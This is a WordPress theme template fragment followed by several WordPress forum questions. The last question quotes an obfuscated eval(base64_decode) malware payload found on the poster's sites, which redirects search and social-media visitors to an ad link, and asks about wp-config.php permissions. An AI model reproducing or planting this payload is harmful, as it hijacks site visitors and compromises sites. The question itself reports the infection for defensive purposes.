                         <?php the_author_posts_link(); ?>                          <?php                              $original_post_id = get_post_meta($post->ID, "_Original Post ID", true);                             if ($original_post_id != '' && $original_post_id != 'deleted') {                                 $original_postdata = get_post($original_post_id, 'ARRAY_A');                                 $original_author = get_user_by('id', $original_postdata['post_author']);                             ?>                             <?php _e('via', 'ipin'); ?>                              <a href="<?php echo home_url('/' . $wp_rewrite->author_base . '/') . $original_author->user_nicename; ?>/"><?php echo $original_author->display_name; ?>                             <?php                             }                             if ($board_info = get_the_terms($post->ID, 'board')) {                                 _e('onto', 'ipin');                                 foreach ($board_info as $board) {                                 ?>                                  <a href="<?php echo home_url('/board/'); ?><?php echo $board->term_id ?>/"><?php echo $board->name; ?>                                 <?php                                 }                             }                         ?>

                      <?php                 if ('0' != $frontpage_comments_number = of_get_option('frontpage_comments_number')) {                 ?>                  <div id="masonry-meta-comment-wrapper-<?php echo $post->ID; ?>">                  <?php                     if ($comments_number >  $frontpage_comments_number) {                         $offset = $comments_number - $frontpage_comments_number;                     } else {                         $offset = 0;                         }                          $args = array(                         'number' => $frontpage_comments_number,                         'post_id' => $post->ID,                         'order' => 'asc',                         'offset' => $offset,                         'status' => 'approve'                     );                     $comments = get_comments($args);                     foreach($comments as $comment) {                     ?>
                         <?php $comment_author = get_user_by('id', $comment->user_id); ?>
                             <?php if ($comment_author) { ?>                             <a href="<?php echo home_url('/' . $wp_rewrite->author_base . '/') . $comment_author->user_nicename; ?>/">                             <?php } ?>                                 <?php echo get_avatar($comment->user_id, '30'); ?>                             <?php if ($comment_author) { ?>                                                          <?php } ?>

                                                              <?php if ($comment_author) { ?><a href="<?php echo home_url('/' . $wp_rewrite->author_base . '/') . $comment_author->user_nicename; ?>/"><?php } ?><?php echo $comment->comment_author; ?><?php if ($comment_author) { ?><?php } ?>                                                          <?php echo $comment->comment_content; ?>

                     <?php                      }                     ?>
                 <?php                 }                       if (is_user_logged_in()) {                 ?>                 <div id="masonry-meta-commentform-<?php echo $post->ID ?>" class="masonry-meta hide">
<?php echo get_avatar($user_ID, '30'); ?>

                     <?php                      $id_form = 'commentform-' . $post->ID;                     $id_submit = 'submit-' . $post->ID;                          comment_form(array(                         'id_form' => $id_form,                         'id_submit' => $id_submit,                         'title_reply' => '',                         'cancel_reply_link' => __('X Cancel reply', 'ipin'),                         'comment_notes_before' => '',                         'comment_notes_after' => '',                         'logged_in_as' => '',                         'label_submit' => __('Post Comment', 'ipin'),                         'comment_field' => '<textarea placeholder="' . __('Add a comment...', 'ipin') . '" id="comment" name="comment" aria-required="true"></textarea>'                     ));                     ?>

                 <?php } ?>
             <?php             $count_ad++;             endwhile;              else :             ?>

<?php _e('Nothing yet . . .', 'ipin'); ?>

             <?php              endif;             wp_reset_query();              ?>
              <?php if ($maxpage != 0) { ?>

                           <?php if ($pnum != 1 && $maxpage >= $pnum) { ?>
                     <a href="<?php $permalink = get_permalink(); if (substr($permalink,-1) == '/') { $permalink = substr($permalink,0,-1); } echo $permalink . '/' . $source . '?pnum=' . ($pnum-1); ?>"><?php _e('« Previous', 'ipin') ?>
                 <?php } ?>                      <?php if ($maxpage != 1 && $maxpage != $pnum) { ?>
                     <a href="<?php $permalink = get_permalink(); if (substr($permalink,-1) == '/') { $permalink = substr($permalink,0,-1); } echo $permalink . '/' . $source . '?pnum=' . ($pnum+1); ?>"><?php _e('Next »', 'ipin') ?>
                 <?php } ?>

         <?php } ?>

<?php _e('Top', 'ipin'); ?>

              <?php get_footer(); ?>


Deleting default category in wordpress

I'm looking for a way to delete default category functionality in wordpress but after i delete the default category in `wp_terms` table in mysql database, it automatically assigns default category to another category. Does anyone know how to achieve this? Thank you for any help.


How to request login for user but not for bots

I wondering, how to not requesting bots like google crawler or bing crawlers to login since they can crawl my post info, but require user to login if they want to see the posts? I already know how to redirect user to login page, but don't know how to exclude the crawlling bots!               function wpse_41699_wp(){         if( is_page('Login')||is_page('register')||is_page('Blog')||is_page('blog') ){             return;         }else{             if(!is_user_logged_in()){                 $url = get_bloginfo('home').'/login';//ACW-login location need to be specified                 header('HTTP/1.1 403 Forbidden');                 header("Location: $url");                 exit;             }         }     }      Thanks! **Or is there better way to do this?**


Notify new post on page

Is there a way to notify on a dashboard page if there are new posts? Or is this only possible with `wp_mail();` hook? Thanks. Casper


Can I add pages to my custom menu via script?

My theme has a custom menu assignment...               function my_register_my_menus() {       register_nav_menus(         array('header-menu' => __( 'Custom Header Menu' ) )       );     }      ...and I'm creating an "installer" type plugin that, upon activation, I would like to hook into this custom menu and assign some pages to it as if they had been created manually. However, the menu API is pretty new and to date, I've been unable to find any examples of how to do this. I'm hoping someone here can give me some direction, examples or info on how to do it. Thanks in advance :-)


How can I tell WP which file to load by default in Appearance > Editor?

When I navigate to... Appearance > Editor > Edit Themes The default file that gets loaded there is my options.css file (which I don't want anyone editing since it styles my theme options panel, not the theme itself.) How can I specify which file gets loaded there? Ideally, I'd like for my theme's current stylesheet to be loaded there. Is there a way that I can specify this in script from functions.php?


Create new network instance, import old single installs AND keep the urls?

I've two wordpress installs at               example.com/blog     example.com/otherblog      What I want to do is install WP at the root, and have a network, but maintain the URLs. I'm confident I can install WP, and export the single installs, and import them to the network. My question is this: can I do all this, and keep the urls? And can the an old one run simultaneously with the new network site before it gets imported so I don't have to import both at once? I.e. could I have example.com/blog run under the multisite while example.com/otherblog runs on its own install? If this _is_ possible what steps do I have to take beyond all the import/export business?


"Plugin could not be activated because it triggered a fatal error."

The code below is contained in a plugin file. It just seeks to execute an update query against the wp database. However, its generating a fatal error.               Fatal error: Cannot redeclare ce3_cleanup()      Do I need to load a config file to get acess to $wpdb->query?               function ce3_cleanup()     {         $wpdb->query("update wp_postmeta set meta_key=replace(meta_key,'cb2_customHeader','_cb2_customHeader') where meta_key like 'cb2_customHeader'");         $wpdb->query("update wp_postmeta set meta_key=replace(meta_key,'cb2_customTitle','_cb2_customTitle') where meta_key like 'cb2_customTitle'");     }     register_activation_hook(__FILE__, 'ce3_cleanup');     ?>


How to return the_excerpt (without echo)?

Hey all, I see that get_the_excerpt() echoes the post excerpt if it is manually set, but not if it is automatically generated (with just the 55 words, for example). [and its use is deprecated] the_excerpt() on the other hand, echoes directly without giving me a string in return. Is there a function to return the excerpt of a post in Wordpress, including automatic excerpt if not manually defined, without echoing it?


How can i display the posts per week in a particular month?

_I have to display the posts as the following_ **September 2010** _Friday September 24, 2010_               post1     post2     .     .     .      _Friday September 17, 2010_               post1     post2     .     .     .      _Friday September 10, 2010_               post1     post2     .     .     .      _Friday September 03, 2010_               post1     post2     .     .     .      **can any one tell, how can do this?, or which function should i use?** I have used the following function and i got all the post in current month               query_posts("year=$current_year&monthnum=$current_month")      How can i show the posts per week of this month? **is it work** `query_posts(""year=$current_year&monthnum=$current_month&post_date >$startDate&post_date <=$endDate")` **Or what is another good way?**


Is there any way to have Featured Text, as opposed to Featured Image?

I need to have Featured Text displayed on my category page, as well as a Featured Image. The Featured Text can not be in the Post at all (just as a Featured Image is not in the Post). Does anybody know of a plugin that already does this? I've looked around a fair bit and can't seem to find anything. Many thanks.


Default installation permissions for wp-config.php

Recently I've noticed that many of the wordpress installations we have on our servers where being attacked and ifected by this thing               eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9iaXQubHkvVVlJZFhMIik7DQoJCWV4aXQoKTsNCgl9DQp9DQp9"));      This malicious code will redirect users coming from social networks like facebook and google+ to an ad page. Analyzing the files in the installation we discovered that `wp-config.php` had too open permissions (0666). The wordpress github repository show that this problem exist since about 2003! Why is the file saved with 0666 instead of 0600? There is any practical need?